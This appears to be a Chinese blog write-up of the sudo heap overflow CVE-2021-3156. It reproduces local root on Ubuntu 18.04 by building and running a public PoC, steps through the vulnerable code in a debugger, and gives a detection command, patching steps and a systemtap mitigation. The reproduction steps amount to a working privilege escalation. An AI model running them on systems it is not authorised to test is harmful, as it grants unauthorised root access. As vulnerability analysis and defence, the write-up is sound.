0x00

一两周前Linux有个sudo漏洞爆出来了 编号CVE-2021-3156
这个漏洞能让低权限用户(甚至没有在sudoers文件里)直接提权到root
比新干员直接精二还刺激奥
这都升变成刀客塔了


今天咱来盘盘它

漏洞影响版本:

  • sudo 1.8.2-1.8.31p2
  • sudo 1.9.0-1.9.5p1 稳定版

0x01 漏洞复现

复现环境为Ubuntu 18.04.5(Bionic) LTS。
首先创建一个低权限用户用于测试PoC:

useradd doge

然后切换到用户doge,确认其权限:

su doge
whoami
# doge
sudo apt install git
# doge不在sudoers文件中。此事件将被报告。

确认过权限后,我们开始构建漏洞PoC,这里使用的是https://github.com/blasty/CVE-2021-3156

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make

啪的一下就构建完了,很快啊
它会生成一个sudo-hax-me-a-sandwich程序,直接运行它

./sudo-hax-me-a-sandwich
#** CVE-2021-3156 PoC by blasty <[email protected]>
#
#  usage: ./sudo-hax-me-a-sandwich <target>
#
#  available targets:
#  ------------------------------------------------------------
#    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
#    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
#    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
#  ------------------------------------------------------------
#
#  manual mode:
#    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

很巧啊xdm 我们的测试环境正好和它对上了
咱直接开干

./sudo-hax-me-a-sandwich 0
# ** CVE-2021-3156 PoC by blasty <[email protected]>
#
# using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'](56, 54, 63, 212)
# ** pray for your rootshell.. **
# [+] bl1ng bl1ng! We got it!
whoami
# root

也是啪的一下,我们就拿到了一个root shell,很快啊。


看来咱pray还是有效的
不如每次拿shell之前心里默念大悲咒(?)

0x02 漏洞分析

啪的一下,咱就装个cgdb。

sudo apt install cgdb

为什么不用gdb?因为cgdb提供两个界面:一个代码界面,一个gdb命令行。


众所周知,gdb看代码需要list指令,有时候它显示不到我们需要的代码,还需要再带上行数。
而cgdb就能直接上下翻,还能直接在代码上下断点,灰常滴方便。
我们要分析的sudo版本为1.9.5p1,最后一个有漏洞的版本。
为了能方便的看代码,我们要把它重新编译一下。

wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
tar xf SUDO_1_9_5p1.tar.gz
cd sudo-SUDO_1_9_5p1
mkdir build
cd build
../configure --enable-env-debug
make -j
sudo make install

完成之后,我们开始调试。

sudo cgdb --args sudoedit -s '\' 1145141919810
# 一定要以root权限调试!否则无论传多么臭的参数都会报错

网上一些分析文章说漏洞代码是动态加载,要先把程序弄崩,直接下断下不到。
因此在下断前,还有一些文章会先传65536个字符把进程搞崩(此时漏洞代码已加载),然后再下断。
动态加载确实不错,但下不了断就是你的不对了
gdb有个功能,看演示 漏洞代码位于plugins/sudoers/sudoers.c,我们断到第964行。

(gdb) b ../../../plugins/sudoers/sudoers.c:964
No source file named ../../../plugins/sudoers/sudoers.c.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (../../../plugins/sudoers/sudoers.c:964) pending.
(gdb) #注意,我现在位置一直是在build文件夹没变,这种相对路径要注意当前位置

如果我们下断的库并没有被加载,gdb会把这个断点保留,直到这个库文件被加载后断点才会生效。
执行r把程序跑起来,gdb会断在sudoers.c:964这里,放一段代码:

/* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(NOT_FOUND_ERROR);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //**gdb断在此处**
        /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.  We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }
        *--to = '\0';
}

我们实际传入的参数有四个:"sudoedit","-s","\","1145141919810",
在前面的代码中"-s"已经被去除,留下了三个参数赋值到NewArgv。
在断点前面有一个for循环,它把NewArgv[1]和NewArgv[2]计算出长度来,并使用malloc()申请了一片内存用于变量user_args。

/* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(NOT_FOUND_ERROR);
        }

这里我们记录下它所申请的内存大小(即变量size的值):

(gdb) p size
$1 = 16

然后我们看看NewArgv,它是去掉"-s"后过来的一个数组。

(gdb) p NewArgv
$2 = (char **) 0x55c42f87f708

一个char占1字节,"sudoedit"作为一个char数组的成员占8字节,同时数组成员后面还有0x00占一字节,一共是9字节。9字节再加上16字节即为user_args所在内存。

(gdb) p NewArgv+25
$3 = (char **) 0x55c42f87f7d0

我们看一下那里的内存。

(gdb) x/8xg 0x55c42f87f7d0
0x55c42f87f7d0: 0x00007f041be3fca0      0x00007f041be3fca0
0x55c42f87f7e0: 0x0000000000000000      0x0000000000000c21
0x55c42f87f7f0: 0x00007f041be3fca0      0x00007f041be3fca0
0x55c42f87f800: 0x0000000000000000      0x0000000000000000

接着看代码,有一个for循环用于将NewArgv[1]和NewArgv[2]存入user_args。

for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
                        //注意if判断
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }

首先看for,将NewArgv的第2个数组成员(赋值到av)(第一个数组成员为"sudoedit")赋值到from参数后进入了一个while循环读数据,若from为0(C语言在每一个数组成员的后面都会加个0x0用于分隔,from为0即代表读取完一个数组成员)则for便继续下一轮循环。
为什么要注意那个if判断呢?我们看看它干了什么:

if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;

若from[0]为\(代码中两个斜杠为转义后)且from[1]为0x00,就把from+1。
这问题就大了 朋友们


我们看看from+1之后是什么

(gdb) p NewArgv[1]
$4 = 0x7ffec3f74315 "\\"
(gdb) x/20xb 0x7ffec3f74315
0x7ffec3f74315: 0x5c    0x00    0x31    0x31    0x34    0x35    0x31    0x34
0x7ffec3f7431d: 0x31    0x39    0x31    0x39    0x38    0x31    0x30    0x00
0x7ffec3f74325: 0x43    0x4c    0x55    0x54 

斜杠(0x5c)自己占一个数组成员,之后是数组成员的分隔符(0x00),正好符合判断,from+1后便来到了NewArgv[2]的开头,while循环便开始读NewArgv[2]的数据。
看上去没什么毛病?


注意辣 虽然while这里自己把from+1读了NewArgv[2],但它上面for循环的av还停留在NewArgv[1]的位置。
while循环退出后,for循环会将av指向NewArgv[2],再读一次。
这样NewArgv[2]就被读了两次。

给user_args分配的内存是多大(即size的值)来着?

(gdb) p size
$1 = 16

16字节 那NewArgv[2]被读了两次,实际写入的数据为多少哪?
我们在第978行(for循环的下一条指令)下断,把程序跑起来。

(gdb) b ../../../plugins/sudoers/sudoers.c:978
Breakpoint 2 at 0x7ff42c055f01: file ../../../plugins/sudoers/sudoers.c, line 978.
(gdb) c
Continuing.

Breakpoint 2, set_cmnd () at ../../../plugins/sudoers/sudoers.c:978

到这里for循环完成了,我们看一下实际写入的数据为多少:

(gdb) p to
$5 = 0x5572bbba57ec " "
(gdb) p 0x5572bbba57ec-0x5572bbba57d0
$6 = 28
(gdb) #我虚拟机中途重启过一次,因此内存
(gdb) #地址有变动。在系统未重启的情况下
(gdb) #0x5572bbba57d0这个地址应为上面
(gdb) #计算出的user_args的地址
(gdb) #(即0x55c42f87f7d0)

实际写入的内存为28字节,而user_args只有16字节的内存。
啪,堆溢出


此时下一堆块已被修改

(gdb) x/8xg 0x5572bbba57d0
0x5572bbba57d0: 0x3134313534313100      0x3120303138393139
0x5572bbba57e0: 0x3139313431353431      0x0000002030313839
0x5572bbba57f0: 0x00007ff42daabca0      0x00007ff42daabca0
0x5572bbba5800: 0x0000000000000000      0x0000000000000000

sudo作为一个系统程序自然有高权限
这么一溢出 诶 就能以root执行任意代码了

0x03 漏洞判断/修复

那我怎么知道自己系统有没有这个漏洞呢


打开终端 输入下面的指令 干就完了

sudoedit -s /

如果出来的信息不是以 usage: 开头
诶 那就有漏洞了


漏洞发布至今已经有一两周的时间了,各大Linux发行版应该也发布了对应补丁
所以你应该能用apt修补这个漏洞

sudo apt update
sudo apt upgrade #或sudo apt install sudo

如果你的Linux并没有发布补丁(或暂时没有时间更新),可以用下面的方法:

#现在应该只有CentOS没有补丁,这段shell是针对CentOS编写
yum install systemtap yum-utils kernel-devel-"$(uname -r)"
vim sudoedit.stap
# 写入以下内容:
# probe process("/usr/bin/sudo").function("main") {
#         command = cmdline_args(0,0,"");
#         if (strpos(command, "edit") >= 0) {
#                 raise(9);
#         }
# }
nohup stap -g sudoedit.stap &
# 注意,上述措施会在重启后失效
# 如果安装了补丁程序,可以用以下办法撤销临时措施:
kill -s SIGTERM systemtap进程PID

0x04

欢迎各位大佬加入小垃圾的QQ群1036499727



下次更新就不知道什么时候了
不如 明年见

参考资料:
1.cve-2021-3156-sudo堆溢出简单分析-看雪论坛 暗香沉浮
2.CVE-2021-3156:Sudo堆缓冲区溢出漏洞通告-360CERT